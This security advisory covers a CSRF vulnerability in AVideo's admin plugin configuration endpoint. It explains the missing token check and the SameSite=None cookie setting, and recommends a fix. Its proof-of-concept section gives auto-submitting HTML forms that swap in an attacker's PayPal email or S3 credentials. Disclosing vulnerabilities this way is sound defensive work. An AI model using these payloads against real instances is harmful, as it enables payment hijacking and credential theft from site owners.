GHSA-4wwr-7h7c-chqr — wwbn/avideo
HIGHGHSA-4wwr-7h7c-chqr is a high-severity (CVSS 8.1) Cross-Site Request Forgery (CSRF) vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo's CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-4wwr-7h7c-chqr.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-4wwr-7h7c-chqr plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,238 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
AVideo's admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session.
Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.
Details
The session cookie configuration in objects/include_config.php at line 135 explicitly weakens the default browser protections:
// objects/include_config.php:135
ini_set('session.cookie_samesite', 'None');
This means cookies are attached to all cross-origin requests, making CSRF attacks trivial.
The save endpoint in admin/save.json.php directly processes POST data without any token verification:
// admin/save.json.php
$pluginName = $_POST['pluginName'];
$pluginValues = $_POST;
// ...
$pluginDO->$key = $pluginValues[$key];
$p->setObject_data(json_encode($pluginDO));
$p->save();
The plugins table is explicitly exempted from security checks in objects/Object.php at line 529:
// objects/Object.php:529
static function ignoreTableSecurityCheck() {
return ['plugins', /* ... other tables ... */];
}
Even the ORM-level protections that exist for other tables do not apply to plugin configuration writes.
Proof of Concept
Host the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address:
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php">
<input type="hidden" name="pluginName" value="PayPerView" />
<input type="hidden" name="paypalReceiverEmail" value="[email protected]" />
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
To overwrite S3 storage credentials instead:
<form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php">
<input type="hidden" name="pluginName" value="AWS_S3" />
<input type="hidden" name="region" value="us-east-1" />
<input type="hidden" name="bucket" value="attacker-bucket" />
<input type="hidden" name="key" value="ATTACKER_KEY_ID" />
<input type="hidden" name="secret" value="ATTACKER_SECRET" />
</form>
Reproduction steps:
- Log in to AVideo as an administrator.
- In a separate browser tab, open the attacker's HTML page.
- The form auto-submits, overwriting the target plugin configuration.
- Verify the change by navigating to the plugin settings page in the admin panel.
Impact
An attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:
- Payment hijacking: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker.
- Credential theft: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage.
- Authentication bypass: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers.
- Backdoor installation: Enable and configure plugins to introduce persistent access.
This is a full platform takeover with zero user interaction beyond a single page visit.
- CWE: CWE-352 (Cross-Site Request Forgery)
Recommended Fix
Add CSRF token validation at admin/save.json.php:10, immediately after the admin check:
// admin/save.json.php:10
if (!isGlobalTokenValid()) {
die('{"error":"Invalid CSRF token"}');
}
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-4wwr-7h7c-chqr yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-4wwr-7h7c-chqr can be triaged on real exposure rather than presence alone.
Tailored to GHSA-4wwr-7h7c-chqr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4wwr-7h7c-chqr in your dependencies?
O3 Security finds GHSA-4wwr-7h7c-chqr across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.